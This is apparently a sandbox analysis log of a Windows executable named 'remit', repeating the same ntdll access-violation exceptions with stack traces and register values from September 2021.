__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
